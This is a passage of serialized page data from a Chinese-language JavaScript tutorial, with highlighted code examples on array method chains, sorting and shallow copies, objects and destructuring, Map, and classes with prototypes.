再变换\n",[22,66727,66728,66739,66759,66777,66795,66799,66803,66815,66834],{"__ignoreMap":314},[331,66729,66730,66732,66735,66737],{"class":333,"line":334},[331,66731,951],{"class":616},[331,66733,66734],{"class":344}," products",[331,66736,957],{"class":616},[331,66738,31527],{"class":337},[331,66740,66741,66744,66747,66749,66752,66755,66757],{"class":333,"line":341},[331,66742,66743],{"class":337},"  { name: ",[331,66745,66746],{"class":365},"'键盘'",[331,66748,21481],{"class":337},[331,66750,66751],{"class":344},"399",[331,66753,66754],{"class":337},", onSale: ",[331,66756,1131],{"class":344},[331,66758,5251],{"class":337},[331,66760,66761,66763,66766,66768,66771,66773,66775],{"class":333,"line":357},[331,66762,66743],{"class":337},[331,66764,66765],{"class":365},"'鼠标'",[331,66767,21481],{"class":337},[331,66769,66770],{"class":344},"129",[331,66772,66754],{"class":337},[331,66774,3193],{"class":344},[331,66776,5251],{"class":337},[331,66778,66779,66781,66784,66786,66789,66791,66793],{"class":333,"line":371},[331,66780,66743],{"class":337},[331,66782,66783],{"class":365},"'显示器'",[331,66785,21481],{"class":337},[331,66787,66788],{"class":344},"1499",[331,66790,66754],{"class":337},[331,66792,1131],{"class":344},[331,66794,9413],{"class":337},[331,66796,66797],{"class":333,"line":384},[331,66798,1268],{"class":337},[331,66800,66801],{"class":333,"line":397},[331,66802,998],{"emptyLinePlaceholder":997},[331,66804,66805,66807,66810,66812],{"class":333,"line":418},[331,66806,951],{"class":616},[331,66808,66809],{"class":344}," names",[331,66811,957],{"class":616},[331,66813,66814],{"class":337}," products\n",[331,66816,66817,66820,66822,66824,66826,66828,66831],{"class":333,"line":427},[331,66818,66819],{"class":337},"  .",[331,66821,21587],{"class":501},[331,66823,966],{"class":337},[331,66825,11],{"class":2472},[331,66827,21594],{"class":616},[331,66829,66830],{"class":337}," p.onSale)          ",[331,66832,66833],{"class":1003},"\u002F\u002F 先筛\n",[331,66835,66836,66838,66840,66842,66844,66846,66849,66851,66853,66855,66858,66860,66862,66864,66866,66868],{"class":333,"line":439},[331,66837,66819],{"class":337},[331,66839,10198],{"class":501},[331,66841,966],{"class":337},[331,66843,11],{"class":2472},[331,66845,21594],{"class":616},[331,66847,66848],{"class":365}," `${",[331,66850,11],{"class":337},[331,66852,1192],{"class":365},[331,66854,1900],{"class":337},[331,66856,66857],{"class":365},"} ¥${",[331,66859,11],{"class":337},[331,66861,1192],{"class":365},[331,66863,25850],{"class":337},[331,66865,8524],{"class":365},[331,66867,66281],{"class":337},[331,66869,66870],{"class":1003},"\u002F\u002F 再变换\n",[4748,66872],{"height":4750,"src":66873,"title":66874},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F09b-array-methods.html","示例 09b：map \u002F filter \u002F reduce 实战",[11,66876,66877,66878,66884,66885,66887],{},"链条顺序影响性能与可读性：",[17,66879,3283,66880,26184,66882],{},[22,66881,21587],{},[22,66883,10198],{}," 能让 ",[22,66886,10198],{}," 处理更少的元素；链条不要超过三步，更长的逻辑抽成命名函数。",[53,66889,66891,66893],{"id":66890},"sort-与浅拷贝",[22,66892,66355],{}," 与「浅拷贝」",[308,66895,66897],{"className":942,"code":66896,"language":944,"meta":314,"style":314},"[10, 2, 1].sort()                     \u002F\u002F [1, 10, 2] ✗ 默认转字符串逐字符比较\n[10, 2, 1].sort((a, b) => a - b)      \u002F\u002F [1, 2, 10] ✓ 升序\n[10, 2, 1].sort((a, b) => b - a)      \u002F\u002F [10, 2, 1] ✓ 降序\n\nconst sorted = [...nums].sort((a, b) => a - b)   \u002F\u002F 想要新数组：先浅拷贝再排\n",[22,66898,66899,66923,66963,67003,67007],{"__ignoreMap":314},[331,66900,66901,66903,66905,66907,66909,66911,66913,66915,66917,66920],{"class":333,"line":334},[331,66902,2487],{"class":337},[331,66904,724],{"class":344},[331,66906,409],{"class":337},[331,66908,9292],{"class":344},[331,66910,409],{"class":337},[331,66912,7993],{"class":344},[331,66914,2498],{"class":337},[331,66916,66355],{"class":501},[331,66918,66919],{"class":337},"()                     ",[331,66921,66922],{"class":1003},"\u002F\u002F [1, 10, 2] ✗ 默认转字符串逐字符比较\n",[331,66924,66925,66927,66929,66931,66933,66935,66937,66939,66941,66943,66945,66947,66949,66951,66953,66955,66957,66960],{"class":333,"line":341},[331,66926,2487],{"class":337},[331,66928,724],{"class":344},[331,66930,409],{"class":337},[331,66932,9292],{"class":344},[331,66934,409],{"class":337},[331,66936,7993],{"class":344},[331,66938,2498],{"class":337},[331,66940,66355],{"class":501},[331,66942,3175],{"class":337},[331,66944,30],{"class":2472},[331,66946,409],{"class":337},[331,66948,22158],{"class":2472},[331,66950,3180],{"class":337},[331,66952,1489],{"class":616},[331,66954,31001],{"class":337},[331,66956,6659],{"class":616},[331,66958,66959],{"class":337}," b)      ",[331,66961,66962],{"class":1003},"\u002F\u002F [1, 2, 10] ✓ 升序\n",[331,66964,66965,66967,66969,66971,66973,66975,66977,66979,66981,66983,66985,66987,66989,66991,66993,66995,66997,67000],{"class":333,"line":357},[331,66966,2487],{"class":337},[331,66968,724],{"class":344},[331,66970,409],{"class":337},[331,66972,9292],{"class":344},[331,66974,409],{"class":337},[331,66976,7993],{"class":344},[331,66978,2498],{"class":337},[331,66980,66355],{"class":501},[331,66982,3175],{"class":337},[331,66984,30],{"class":2472},[331,66986,409],{"class":337},[331,66988,22158],{"class":2472},[331,66990,3180],{"class":337},[331,66992,1489],{"class":616},[331,66994,63029],{"class":337},[331,66996,6659],{"class":616},[331,66998,66999],{"class":337}," a)      ",[331,67001,67002],{"class":1003},"\u002F\u002F [10, 2, 1] ✓ 降序\n",[331,67004,67005],{"class":333,"line":371},[331,67006,998],{"emptyLinePlaceholder":997},[331,67008,67009,67011,67014,67016,67018,67020,67023,67025,67027,67029,67031,67033,67035,67037,67039,67041,67044],{"class":333,"line":384},[331,67010,951],{"class":616},[331,67012,67013],{"class":344}," sorted",[331,67015,957],{"class":616},[331,67017,1108],{"class":337},[331,67019,9211],{"class":616},[331,67021,67022],{"class":337},"nums].",[331,67024,66355],{"class":501},[331,67026,3175],{"class":337},[331,67028,30],{"class":2472},[331,67030,409],{"class":337},[331,67032,22158],{"class":2472},[331,67034,3180],{"class":337},[331,67036,1489],{"class":616},[331,67038,31001],{"class":337},[331,67040,6659],{"class":616},[331,67042,67043],{"class":337}," b)   ",[331,67045,67046],{"class":1003},"\u002F\u002F 想要新数组：先浅拷贝再排\n",[11,67048,67049,67051,67052,67055,67056,67059,67060,67063,67064,5160,67067,67070],{},[22,67050,66355],{}," 是这张表里",[17,67053,67054],{},"唯一改原数组","的方法（",[22,67057,67058],{},"reverse"," 同理），所以复制一份再排序是最常见的写法：",[22,67061,67062],{},"[...nums]"," 是展开成新数组（浅拷贝），",[22,67065,67066],{},"Array.from(nums)",[22,67068,67069],{},"nums.slice()"," 等价。注意「浅」——数组元素若是对象，拷贝后两边的对象仍是同一批。",[53,67072,67073],{"id":67073},"什么时候不用函数式三件套",[11,67075,67076,67077,67079,67080,67082],{},"需要 ",[22,67078,63836],{},"、需要「边遍历边改原数组」、或者逻辑里有多个相互牵扯的状态时，老老实实写 ",[22,67081,27395],{},"。方法链是给「数据管道」用的，不是用来炫技的。",[48,67084,67086],{"id":67085},"十对象属性的读写遍历与复制","十、对象：属性的读写、遍历与复制",[11,67088,67089,67090,272,67092,67095,67096,272,67098,67101],{},"对象是「键值对的集合」，用来给一组相关的数据一个名字：",[22,67091,62224],{},[22,67093,67094],{},"user.age"," 显然比 ",[22,67097,26140],{},[22,67099,67100],{},"userAge"," 两个散装变量好维护。",[53,67103,67105],{"id":67104},"字面量读写与点方括号","字面量、读写与点\u002F方括号",[308,67107,67109],{"className":942,"code":67108,"language":944,"meta":314,"style":314},"const user = {\n  name: '阿蓝',\n  age: 28,\n  'favorite-lang': 'JavaScript',   \u002F\u002F 键名含连字符：写字面量时必须加引号\n  greet() { return '你好' }        \u002F\u002F 方法简写（等价于 greet: function () {}）\n}\n\nuser.name              \u002F\u002F '阿蓝'，点访问：键名是合法标识符时用\nuser['favorite-lang']  \u002F\u002F 方括号访问：键名是变量或是非法标识符时必须用\nconst key = 'age'\nuser[key]              \u002F\u002F 28 —— 方括号里放表达式\n\nuser.city = '杭州'      \u002F\u002F 新增或改写\ndelete user.city       \u002F\u002F 删除（少用；改成置 null 或重建对象更清晰）\n'age' in user          \u002F\u002F true，判断键是否存在\nuser.email ?? '未填'    \u002F\u002F 读可能不存在的键 → undefined，用 ?? 兜底\n",[22,67110,67111,67121,67129,67138,67153,67170,67174,67178,67186,67200,67211,67219,67223,67236,67247,67260],{"__ignoreMap":314},[331,67112,67113,67115,67117,67119],{"class":333,"line":334},[331,67114,951],{"class":616},[331,67116,13900],{"class":344},[331,67118,957],{"class":616},[331,67120,1100],{"class":337},[331,67122,67123,67125,67127],{"class":333,"line":341},[331,67124,6438],{"class":337},[331,67126,20599],{"class":365},[331,67128,354],{"class":337},[331,67130,67131,67134,67136],{"class":333,"line":357},[331,67132,67133],{"class":337},"  age: ",[331,67135,63995],{"class":344},[331,67137,354],{"class":337},[331,67139,67140,67143,67145,67147,67150],{"class":333,"line":371},[331,67141,67142],{"class":365},"  'favorite-lang'",[331,67144,348],{"class":337},[331,67146,65779],{"class":365},[331,67148,67149],{"class":337},",   ",[331,67151,67152],{"class":1003},"\u002F\u002F 键名含连字符：写字面量时必须加引号\n",[331,67154,67155,67158,67160,67162,67165,67167],{"class":333,"line":384},[331,67156,67157],{"class":501},"  greet",[331,67159,17990],{"class":337},[331,67161,10859],{"class":616},[331,67163,67164],{"class":365}," '你好'",[331,67166,54283],{"class":337},[331,67168,67169],{"class":1003},"\u002F\u002F 方法简写（等价于 greet: function () {}）\n",[331,67171,67172],{"class":333,"line":397},[331,67173,459],{"class":337},[331,67175,67176],{"class":333,"line":418},[331,67177,998],{"emptyLinePlaceholder":997},[331,67179,67180,67183],{"class":333,"line":427},[331,67181,67182],{"class":337},"user.name              ",[331,67184,67185],{"class":1003},"\u002F\u002F '阿蓝'，点访问：键名是合法标识符时用\n",[331,67187,67188,67191,67194,67197],{"class":333,"line":439},[331,67189,67190],{"class":337},"user[",[331,67192,67193],{"class":365},"'favorite-lang'",[331,67195,67196],{"class":337},"]  ",[331,67198,67199],{"class":1003},"\u002F\u002F 方括号访问：键名是变量或是非法标识符时必须用\n",[331,67201,67202,67204,67206,67208],{"class":333,"line":450},[331,67203,951],{"class":616},[331,67205,29297],{"class":344},[331,67207,957],{"class":616},[331,67209,67210],{"class":365}," 'age'\n",[331,67212,67213,67216],{"class":333,"line":456},[331,67214,67215],{"class":337},"user[key]              ",[331,67217,67218],{"class":1003},"\u002F\u002F 28 —— 方括号里放表达式\n",[331,67220,67221],{"class":333,"line":775},[331,67222,998],{"emptyLinePlaceholder":997},[331,67224,67225,67228,67230,67233],{"class":333,"line":785},[331,67226,67227],{"class":337},"user.city ",[331,67229,518],{"class":616},[331,67231,67232],{"class":365}," '杭州'",[331,67234,67235],{"class":1003},"      \u002F\u002F 新增或改写\n",[331,67237,67238,67241,67244],{"class":333,"line":795},[331,67239,67240],{"class":616},"delete",[331,67242,67243],{"class":337}," user.city       ",[331,67245,67246],{"class":1003},"\u002F\u002F 删除（少用；改成置 null 或重建对象更清晰）\n",[331,67248,67249,67252,67254,67257],{"class":333,"line":805},[331,67250,67251],{"class":365},"'age'",[331,67253,63945],{"class":616},[331,67255,67256],{"class":337}," user          ",[331,67258,67259],{"class":1003},"\u002F\u002F true，判断键是否存在\n",[331,67261,67262,67265,67267,67270],{"class":333,"line":819},[331,67263,67264],{"class":337},"user.email ",[331,67266,29379],{"class":616},[331,67268,67269],{"class":365}," '未填'",[331,67271,67272],{"class":1003},"    \u002F\u002F 读可能不存在的键 → undefined，用 ?? 兜底\n",[53,67274,67275],{"id":67275},"属性的简写与解构",[308,67277,67279],{"className":942,"code":67278,"language":944,"meta":314,"style":314},"const name = '阿蓝', age = 28\nconst user = { name, age }        \u002F\u002F 属性简写：变量名即键名\n\nconst { name: nick, age = 18 } = user   \u002F\u002F 解构：取出并改名、给默认值\nconst { name, ...rest } = user          \u002F\u002F 剩余属性收成新对象（浅拷贝）\n",[22,67280,67281,67301,67315,67319,67351],{"__ignoreMap":314},[331,67282,67283,67285,67287,67289,67291,67293,67296,67298],{"class":333,"line":334},[331,67284,951],{"class":616},[331,67286,559],{"class":344},[331,67288,957],{"class":616},[331,67290,64926],{"class":365},[331,67292,409],{"class":337},[331,67294,67295],{"class":344},"age",[331,67297,957],{"class":616},[331,67299,67300],{"class":344}," 28\n",[331,67302,67303,67305,67307,67309,67312],{"class":333,"line":341},[331,67304,951],{"class":616},[331,67306,13900],{"class":344},[331,67308,957],{"class":616},[331,67310,67311],{"class":337}," { name, age }        ",[331,67313,67314],{"class":1003},"\u002F\u002F 属性简写：变量名即键名\n",[331,67316,67317],{"class":333,"line":357},[331,67318,998],{"emptyLinePlaceholder":997},[331,67320,67321,67323,67325,67327,67329,67332,67334,67336,67338,67341,67343,67345,67348],{"class":333,"line":371},[331,67322,951],{"class":616},[331,67324,605],{"class":337},[331,67326,1900],{"class":2472},[331,67328,348],{"class":337},[331,67330,67331],{"class":344},"nick",[331,67333,409],{"class":337},[331,67335,67295],{"class":344},[331,67337,957],{"class":616},[331,67339,67340],{"class":344}," 18",[331,67342,2599],{"class":337},[331,67344,518],{"class":616},[331,67346,67347],{"class":337}," user   ",[331,67349,67350],{"class":1003},"\u002F\u002F 解构：取出并改名、给默认值\n",[331,67352,67353,67355,67357,67359,67361,67363,67366,67368,67370,67372],{"class":333,"line":384},[331,67354,951],{"class":616},[331,67356,605],{"class":337},[331,67358,1900],{"class":344},[331,67360,409],{"class":337},[331,67362,9211],{"class":616},[331,67364,67365],{"class":344},"rest",[331,67367,2599],{"class":337},[331,67369,518],{"class":616},[331,67371,67256],{"class":337},[331,67373,67374],{"class":1003},"\u002F\u002F 剩余属性收成新对象（浅拷贝）\n",[11,67376,67377,67378,67381,67382,67385],{},"解构可以嵌套（",[22,67379,67380],{},"const { profile: { city } } = user","），函数参数位置也常用：",[22,67383,67384],{},"function render({ title, date = '今天' }) { … }","——调用方传对象，顺序无关、可省略可读性好。",[53,67387,67388],{"id":67388},"遍历与键值对",[308,67390,67392],{"className":942,"code":67391,"language":944,"meta":314,"style":314},"Object.keys(user)      \u002F\u002F ['name', 'age', 'favorite-lang'] 键数组\nObject.values(user)    \u002F\u002F 值数组\nObject.entries(user)   \u002F\u002F [[键, 值], …]，配合 for...of 或 Object.fromEntries\nObject.assign({}, user)      \u002F\u002F 浅拷贝合并（老写法）\nconst clone = { ...user }    \u002F\u002F 展开浅拷贝，等价且更常用\n{ ...a, ...b }               \u002F\u002F 合并：同名键后者覆盖前者\n",[22,67393,67394,67408,67421,67433,67446,67464],{"__ignoreMap":314},[331,67395,67396,67399,67402,67405],{"class":333,"line":334},[331,67397,67398],{"class":337},"Object.",[331,67400,67401],{"class":501},"keys",[331,67403,67404],{"class":337},"(user)      ",[331,67406,67407],{"class":1003},"\u002F\u002F ['name', 'age', 'favorite-lang'] 键数组\n",[331,67409,67410,67412,67415,67418],{"class":333,"line":341},[331,67411,67398],{"class":337},[331,67413,67414],{"class":501},"values",[331,67416,67417],{"class":337},"(user)    ",[331,67419,67420],{"class":1003},"\u002F\u002F 值数组\n",[331,67422,67423,67425,67427,67430],{"class":333,"line":357},[331,67424,67398],{"class":337},[331,67426,64023],{"class":501},[331,67428,67429],{"class":337},"(user)   ",[331,67431,67432],{"class":1003},"\u002F\u002F [[键, 值], …]，配合 for...of 或 Object.fromEntries\n",[331,67434,67435,67437,67440,67443],{"class":333,"line":371},[331,67436,67398],{"class":337},[331,67438,67439],{"class":501},"assign",[331,67441,67442],{"class":337},"({}, user)      ",[331,67444,67445],{"class":1003},"\u002F\u002F 浅拷贝合并（老写法）\n",[331,67447,67448,67450,67452,67454,67456,67458,67461],{"class":333,"line":384},[331,67449,951],{"class":616},[331,67451,21009],{"class":344},[331,67453,957],{"class":616},[331,67455,605],{"class":337},[331,67457,9211],{"class":616},[331,67459,67460],{"class":337},"user }    ",[331,67462,67463],{"class":1003},"\u002F\u002F 展开浅拷贝，等价且更常用\n",[331,67465,67466,67468,67470,67473,67475,67478],{"class":333,"line":397},[331,67467,32348],{"class":337},[331,67469,9211],{"class":616},[331,67471,67472],{"class":337},"a, ",[331,67474,9211],{"class":616},[331,67476,67477],{"class":337},"b }               ",[331,67479,67480],{"class":1003},"\u002F\u002F 合并：同名键后者覆盖前者\n",[11,67482,67483,67484,67489,67490,67492,67493,161],{},"遍历对象的位置回忆第五章：",[17,67485,67486,67488],{},[22,67487,27395],{}," 不能直接用在对象上","（对象不是可迭代的），要 ",[22,67491,63973],{}," 转成数组再 ",[22,67494,27395],{},[53,67496,67497],{"id":67497},"引用语义的三个现实后果",[11,67499,67500],{},"第三章说过「对象传引用」，落到日常就是三件事：",[308,67502,67504],{"className":942,"code":67503,"language":944,"meta":314,"style":314},"const a = { n: 1 }\nconst b = a          \u002F\u002F 别名：不是拷贝！\nb.n = 2              \u002F\u002F a.n 也变成 2\n\nconst c = { ...a }   \u002F\u002F 浅拷贝：第一层分开，嵌套对象仍共享\na.inner === c.inner  \u002F\u002F 若 a 有嵌套对象，这是 true\n\nJSON.parse(JSON.stringify(obj))   \u002F\u002F 深拷贝的「穷人版」：丢函数、丢 undefined、日期变字符串\n",[22,67505,67506,67520,67534,67546,67550,67569,67582,67586],{"__ignoreMap":314},[331,67507,67508,67510,67512,67514,67516,67518],{"class":333,"line":334},[331,67509,951],{"class":616},[331,67511,60744],{"class":344},[331,67513,957],{"class":616},[331,67515,63072],{"class":337},[331,67517,7993],{"class":344},[331,67519,9413],{"class":337},[331,67521,67522,67524,67526,67528,67531],{"class":333,"line":341},[331,67523,951],{"class":616},[331,67525,60747],{"class":344},[331,67527,957],{"class":616},[331,67529,67530],{"class":337}," a          ",[331,67532,67533],{"class":1003},"\u002F\u002F 别名：不是拷贝！\n",[331,67535,67536,67539,67541,67543],{"class":333,"line":357},[331,67537,67538],{"class":337},"b.n ",[331,67540,518],{"class":616},[331,67542,18023],{"class":344},[331,67544,67545],{"class":1003},"              \u002F\u002F a.n 也变成 2\n",[331,67547,67548],{"class":333,"line":371},[331,67549,998],{"emptyLinePlaceholder":997},[331,67551,67552,67554,67557,67559,67561,67563,67566],{"class":333,"line":384},[331,67553,951],{"class":616},[331,67555,67556],{"class":344}," c",[331,67558,957],{"class":616},[331,67560,605],{"class":337},[331,67562,9211],{"class":616},[331,67564,67565],{"class":337},"a }   ",[331,67567,67568],{"class":1003},"\u002F\u002F 浅拷贝：第一层分开，嵌套对象仍共享\n",[331,67570,67571,67574,67576,67579],{"class":333,"line":397},[331,67572,67573],{"class":337},"a.inner ",[331,67575,2625],{"class":616},[331,67577,67578],{"class":337}," c.inner  ",[331,67580,67581],{"class":1003},"\u002F\u002F 若 a 有嵌套对象，这是 true\n",[331,67583,67584],{"class":333,"line":418},[331,67585,998],{"emptyLinePlaceholder":997},[331,67587,67588,67590,67592,67594,67596,67598,67600,67602,67605],{"class":333,"line":427},[331,67589,13165],{"class":344},[331,67591,1192],{"class":337},[331,67593,21019],{"class":501},[331,67595,966],{"class":337},[331,67597,13165],{"class":344},[331,67599,1192],{"class":337},[331,67601,13170],{"class":501},[331,67603,67604],{"class":337},"(obj))   ",[331,67606,67607],{"class":1003},"\u002F\u002F 深拷贝的「穷人版」：丢函数、丢 undefined、日期变字符串\n",[11,67609,67610],{},"以及「不可变更新」的习惯：改状态时别原地改，创建一个改好的新对象。这一习惯对后面 DOM\u002F框架更新（以及本站 Vue 代码）至关重要：",[308,67612,67614],{"className":942,"code":67613,"language":944,"meta":314,"style":314},"\u002F\u002F 原地改：谁引用了它都会被牵连\nuser.age = 29\n\n\u002F\u002F 不可变更新：生成新对象，旧对象保持原样\nconst nextUser = { ...user, age: 29 }\n",[22,67615,67616,67621,67631,67635,67640],{"__ignoreMap":314},[331,67617,67618],{"class":333,"line":334},[331,67619,67620],{"class":1003},"\u002F\u002F 原地改：谁引用了它都会被牵连\n",[331,67622,67623,67626,67628],{"class":333,"line":341},[331,67624,67625],{"class":337},"user.age ",[331,67627,518],{"class":616},[331,67629,67630],{"class":344}," 29\n",[331,67632,67633],{"class":333,"line":357},[331,67634,998],{"emptyLinePlaceholder":997},[331,67636,67637],{"class":333,"line":371},[331,67638,67639],{"class":1003},"\u002F\u002F 不可变更新：生成新对象，旧对象保持原样\n",[331,67641,67642,67644,67647,67649,67651,67653,67656,67659],{"class":333,"line":384},[331,67643,951],{"class":616},[331,67645,67646],{"class":344}," nextUser",[331,67648,957],{"class":616},[331,67650,605],{"class":337},[331,67652,9211],{"class":616},[331,67654,67655],{"class":337},"user, age: ",[331,67657,67658],{"class":344},"29",[331,67660,9413],{"class":337},[4748,67662],{"height":5188,"src":67663,"title":67664},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F10-objects.html","示例 10：对象的读写、解构与不可变更新",[53,67666,67668],{"id":67667},"什么时候用对象什么时候用-map","什么时候用对象、什么时候用 Map",[11,67670,67671,67672,67675,67676,67679,67680,322],{},"键都是",[17,67673,67674],{},"字符串\u002F符号","、结构固定（像一个「记录」）→ 对象字面量；键是",[17,67677,67678],{},"动态的、任意类型的","，或频繁增删 → ",[22,67681,3618],{},[308,67683,67685],{"className":942,"code":67684,"language":944,"meta":314,"style":314},"const cache = new Map()\ncache.set('k', 1).set(otherObj, 2)   \u002F\u002F 键可以是对象，且清楚知道自己有几项\ncache.get('k')       \u002F\u002F 1\ncache.has(otherObj)  \u002F\u002F true\n",[22,67686,67687,67703,67734,67748],{"__ignoreMap":314},[331,67688,67689,67691,67694,67696,67698,67701],{"class":333,"line":334},[331,67690,951],{"class":616},[331,67692,67693],{"class":344}," cache",[331,67695,957],{"class":616},[331,67697,1214],{"class":616},[331,67699,67700],{"class":501}," Map",[331,67702,1540],{"class":337},[331,67704,67705,67708,67710,67712,67715,67717,67719,67722,67724,67727,67729,67731],{"class":333,"line":341},[331,67706,67707],{"class":337},"cache.",[331,67709,2529],{"class":501},[331,67711,966],{"class":337},[331,67713,67714],{"class":365},"'k'",[331,67716,409],{"class":337},[331,67718,7993],{"class":344},[331,67720,67721],{"class":337},").",[331,67723,2529],{"class":501},[331,67725,67726],{"class":337},"(otherObj, ",[331,67728,9292],{"class":344},[331,67730,62134],{"class":337},[331,67732,67733],{"class":1003},"\u002F\u002F 键可以是对象，且清楚知道自己有几项\n",[331,67735,67736,67738,67740,67742,67744,67746],{"class":333,"line":357},[331,67737,67707],{"class":337},[331,67739,2608],{"class":501},[331,67741,966],{"class":337},[331,67743,67714],{"class":365},[331,67745,20939],{"class":337},[331,67747,65096],{"class":1003},[331,67749,67750,67752,67754,67757],{"class":333,"line":371},[331,67751,67707],{"class":337},[331,67753,64853],{"class":501},[331,67755,67756],{"class":337},"(otherObj)  ",[331,67758,67759],{"class":1003},"\u002F\u002F true\n",[11,67761,67762,67764,67765,67768,67769,67772,67773,67776],{},[22,67763,3618],{}," 还保证",[17,67766,67767],{},"插入顺序","、有直接的 ",[22,67770,67771],{},"size"," 属性；对象要数数量得 ",[22,67774,67775],{},"Object.keys(obj).length","。日常优先对象，遇到「以对象为键」或大吞吐增删再换 Map。",[48,67778,67780],{"id":67779},"十一class把同类对象的模板写成代码","十一、class：把「同类对象」的模板写成代码",[11,67782,67783,67784,67787,67788,67790,67791,67794],{},"对象字面量适合",[17,67785,67786],{},"单件","数据；如果同样结构的对象要反复创建、还要带一批方法，每次都手写字面量就是重复粘贴。这时用 ",[22,67789,24306],{},"：先画一张图纸（类），再按图纸批量生产（实例）。",[22,67792,67793],{},"new User('阿蓝', 28)"," 读作「按 User 的图纸造一个阿蓝」。",[53,67796,67798],{"id":67797},"constructor-与-new实例是怎么诞生的","constructor 与 new：实例是怎么诞生的",[308,67800,67802],{"className":942,"code":67801,"language":944,"meta":314,"style":314},"class User {\n  constructor(name, age) {\n    this.name = name   \u002F\u002F this 指向正在被创建的那个实例\n    this.age = age\n  }\n  greet() {\n    return `你好，我是 ${this.name}`   \u002F\u002F 方法省略 function 关键字\n  }\n}\n\nconst alice = new User('阿蓝', 28)\nalice.greet()   \u002F\u002F '你好，我是阿蓝'\n",[22,67803,67804,67813,67828,67844,67856,67860,67866,67884,67888,67892,67896,67919],{"__ignoreMap":314},[331,67805,67806,67808,67811],{"class":333,"line":334},[331,67807,24306],{"class":616},[331,67809,67810],{"class":501}," User",[331,67812,1100],{"class":337},[331,67814,67815,67818,67820,67822,67824,67826],{"class":333,"line":341},[331,67816,67817],{"class":616},"  constructor",[331,67819,966],{"class":337},[331,67821,1900],{"class":2472},[331,67823,409],{"class":337},[331,67825,67295],{"class":2472},[331,67827,2476],{"class":337},[331,67829,67830,67833,67836,67838,67841],{"class":333,"line":357},[331,67831,67832],{"class":344},"    this",[331,67834,67835],{"class":337},".name ",[331,67837,518],{"class":616},[331,67839,67840],{"class":337}," name   ",[331,67842,67843],{"class":1003},"\u002F\u002F this 指向正在被创建的那个实例\n",[331,67845,67846,67848,67851,67853],{"class":333,"line":371},[331,67847,67832],{"class":344},[331,67849,67850],{"class":337},".age ",[331,67852,518],{"class":616},[331,67854,67855],{"class":337}," age\n",[331,67857,67858],{"class":333,"line":384},[331,67859,453],{"class":337},[331,67861,67862,67864],{"class":333,"line":397},[331,67863,67157],{"class":501},[331,67865,1072],{"class":337},[331,67867,67868,67870,67873,67875,67877,67879,67881],{"class":333,"line":418},[331,67869,1545],{"class":616},[331,67871,67872],{"class":365}," `你好，我是 ${",[331,67874,18040],{"class":344},[331,67876,1192],{"class":365},[331,67878,1900],{"class":337},[331,67880,8524],{"class":365},[331,67882,67883],{"class":1003},"   \u002F\u002F 方法省略 function 关键字\n",[331,67885,67886],{"class":333,"line":427},[331,67887,453],{"class":337},[331,67889,67890],{"class":333,"line":439},[331,67891,459],{"class":337},[331,67893,67894],{"class":333,"line":450},[331,67895,998],{"emptyLinePlaceholder":997},[331,67897,67898,67900,67903,67905,67907,67909,67911,67913,67915,67917],{"class":333,"line":456},[331,67899,951],{"class":616},[331,67901,67902],{"class":344}," alice",[331,67904,957],{"class":616},[331,67906,1214],{"class":616},[331,67908,67810],{"class":501},[331,67910,966],{"class":337},[331,67912,20599],{"class":365},[331,67914,409],{"class":337},[331,67916,63995],{"class":344},[331,67918,972],{"class":337},[331,67920,67921,67924,67926,67928],{"class":333,"line":775},[331,67922,67923],{"class":337},"alice.",[331,67925,63606],{"class":501},[331,67927,32115],{"class":337},[331,67929,67930],{"class":1003},"\u002F\u002F '你好，我是阿蓝'\n",[11,67932,67933,67935,67936,67939,67940,67942,67943,67946,67947,67949],{},[22,67934,35155],{}," 做四件事：创建一个空对象 → 把它的原型指向 ",[22,67937,67938],{},"User.prototype"," → 以这个对象为 ",[22,67941,18040],{}," 执行 ",[22,67944,67945],{},"constructor"," → 返回它。",[22,67948,67945],{}," 里放「每个实例各自不同」的数据（名字、年龄）；方法写在类体里，由所有实例共享。",[53,67951,67953],{"id":67952},"方法在原型上实例只装数据","方法在原型上：实例只装数据",[308,67955,67957],{"className":942,"code":67956,"language":944,"meta":314,"style":314},"Object.keys(alice)                             \u002F\u002F ['name', 'age']——实例自己的属性\nalice.hasOwnProperty('greet')                  \u002F\u002F false——greet 不在实例自己身上\n'greet' in alice                               \u002F\u002F true——顺着原型链找得到\nObject.getPrototypeOf(alice) === User.prototype  \u002F\u002F true\nObject.getOwnPropertyNames(User.prototype)     \u002F\u002F ['constructor', 'greet']\n",[22,67958,67959,67971,67988,68000,68022],{"__ignoreMap":314},[331,67960,67961,67963,67965,67968],{"class":333,"line":334},[331,67962,67398],{"class":337},[331,67964,67401],{"class":501},[331,67966,67967],{"class":337},"(alice)                             ",[331,67969,67970],{"class":1003},"\u002F\u002F ['name', 'age']——实例自己的属性\n",[331,67972,67973,67975,67978,67980,67983,67985],{"class":333,"line":341},[331,67974,67923],{"class":337},[331,67976,67977],{"class":501},"hasOwnProperty",[331,67979,966],{"class":337},[331,67981,67982],{"class":365},"'greet'",[331,67984,66624],{"class":337},[331,67986,67987],{"class":1003},"\u002F\u002F false——greet 不在实例自己身上\n",[331,67989,67990,67992,67994,67997],{"class":333,"line":357},[331,67991,67982],{"class":365},[331,67993,63945],{"class":616},[331,67995,67996],{"class":337}," alice                               ",[331,67998,67999],{"class":1003},"\u002F\u002F true——顺着原型链找得到\n",[331,68001,68002,68004,68007,68010,68012,68014,68016,68019],{"class":333,"line":371},[331,68003,67398],{"class":337},[331,68005,68006],{"class":501},"getPrototypeOf",[331,68008,68009],{"class":337},"(alice) ",[331,68011,2625],{"class":616},[331,68013,67810],{"class":344},[331,68015,1192],{"class":337},[331,68017,68018],{"class":344},"prototype",[331,68020,68021],{"class":1003},"  \u002F\u002F true\n",[331,68023,68024,68026,68029,68031,68034,68036,68038,68040],{"class":333,"line":384},[331,68025,67398],{"class":337},[331,68027,68028],{"class":501},"getOwnPropertyNames",[331,68030,966],{"class":337},[331,68032,68033],{"class":344},"User",[331,68035,1192],{"class":337},[331,68037,68018],{"class":344},[331,68039,14439],{"class":337},[331,68041,68042],{"class":1003},"\u002F\u002F ['constructor', 'greet']\n",[11,68044,68045,68046,68049,68050,68052,68053,68056],{},"读 ",[22,68047,68048],{},"alice.greet"," 时，引擎先看实例自己有没有，没有就顺着 ",[22,68051,67938],{}," 找——找到才执行。这条「实例 → 类原型 → 父类原型 → Object.prototype → 